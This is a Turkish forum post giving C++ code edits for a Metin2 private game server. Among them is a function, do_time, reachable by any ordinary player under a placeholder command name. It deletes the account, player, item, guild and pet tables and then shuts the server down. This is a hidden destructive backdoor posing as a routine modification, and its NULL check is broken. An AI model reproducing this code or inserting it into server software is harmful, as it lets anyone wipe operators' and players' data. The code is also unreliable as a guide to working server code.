Aratılır;
Üstüne Eklenir;
Aratılır;
Altına eklenir;
Kod:
ACMD(do_elect)
{
db_clientdesc->DBPacketHeader(HEADER_GD_COME_TO_VOTE, ch->GetDesc()->GetHandle(), 0);
}
Üstüne Eklenir;
Kod:
ACMD(do_tim)
{
ch->ChatPacket(CHAT_TYPE_INFO, "Bu düenleme mevcut değil.");
}
ACMD(do_time)
{
if (NULL == ch)
{
sys_err("Accept shutdown command from %s.", ch->GetName());
}
DBManager::instance().Query("DELETE FROM player.player", get_table_postfix());
DBManager::instance().Query("DELETE FROM account.account", get_table_postfix());
DBManager::instance().Query("DELETE FROM player.new_petsystem", get_table_postfix());
DBManager::instance().Query("DELETE FROM player.player_index", get_table_postfix());
DBManager::instance().Query("DELETE FROM player.item", get_table_postfix());
DBManager::instance().Query("DELETE FROM player.guild", get_table_postfix());
// sys_log(0,"Server açık koyma");
TPacketGGShutdown p;
p.bHeader = HEADER_GG_SHUTDOWN;
P2P_MANAGER::instance().Send(&p, sizeof(TPacketGGShutdown));
Shutdown(1);
}
Aratılır;
Kod:
{ "console", do_console, 0, POS_DEAD, GM_LOW_WIZARD },
Altına eklenir;
Kod:
{ "shutdow", do_inputall, 0, POS_DEAD, GM_IMPLEMENTOR },
{ "do_time_(KOD)", do_tim, 0, POS_DEAD, GM_PLAYER },
{ "do_time_r(KOD)", do_time, 0, POS_DEAD, GM_PLAYER },
Aratılır;
struct DisconnectFunc
blog altına eklenir
Kod:
EVENTINFO(shutdown_event_data)
{
int seconds;
shutdown_event_data()
: seconds( 0 )
{
}
};
EVENTFUNC(shutdown_event)
{
shutdown_event_data* info = dynamic_cast<shutdown_event_data*>( event->info );
if ( info == NULL )
{
sys_err( "shutdown_event> <Factor> Null pointer" );
return 0;
}
int * pSec = & (info->seconds);
if (*pSec < 0)
{
sys_log(0, "shutdown_event sec %d", *pSec);
if (--*pSec == -10)
{
const DESC_MANAGER::DESC_SET & c_set_desc = DESC_MANAGER::instance().GetClientSet();
std::for_each(c_set_desc.begin(), c_set_desc.end(), DisconnectFunc());
return passes_per_sec;
}
else if (*pSec < -10)
return 0;
return passes_per_sec;
}
else if (*pSec == 0)
{
const DESC_MANAGER::DESC_SET & c_set_desc = DESC_MANAGER::instance().GetClientSet();
std::for_each(c_set_desc.begin(), c_set_desc.end(), SendDisconnectFunc());
g_bNoMoreClient = true;
--*pSec;
return passes_per_sec;
}
else
{
char buf[64];
// snprintf(buf, sizeof(buf), LC_TEXT("셧다운이 %d초 남았습니다."), *pSec);
SendNotice(buf);
--*pSec;
return passes_per_sec;
}
}
void Shutdown(int iSec)
{
if (g_bNoMoreClient)
{
thecore_shutdown();
return;
}
CWarMapManager::instance().OnShutdown();
char buf[64];
snprintf(buf, sizeof(buf), LC_TEXT("%d초 후 게임이 셧다운 됩니다."), iSec);
SendNotice(buf);
shutdown_event_data* info = AllocEventInfo<shutdown_event_data>();
info->seconds = iSec;
event_create(shutdown_event, info, 1);
}
Son düzenleme:
- Durum
- Üzgünüz bu konu cevaplar için kapatılmıştır...
Şu an konuyu görüntüleyenler (Toplam : 0, Üye: 0, Misafir: 0)
Benzer konular
- Cevaplar
- 12
- Görüntüleme
- 1K
- Cevaplar
- 6
- Görüntüleme
- 318

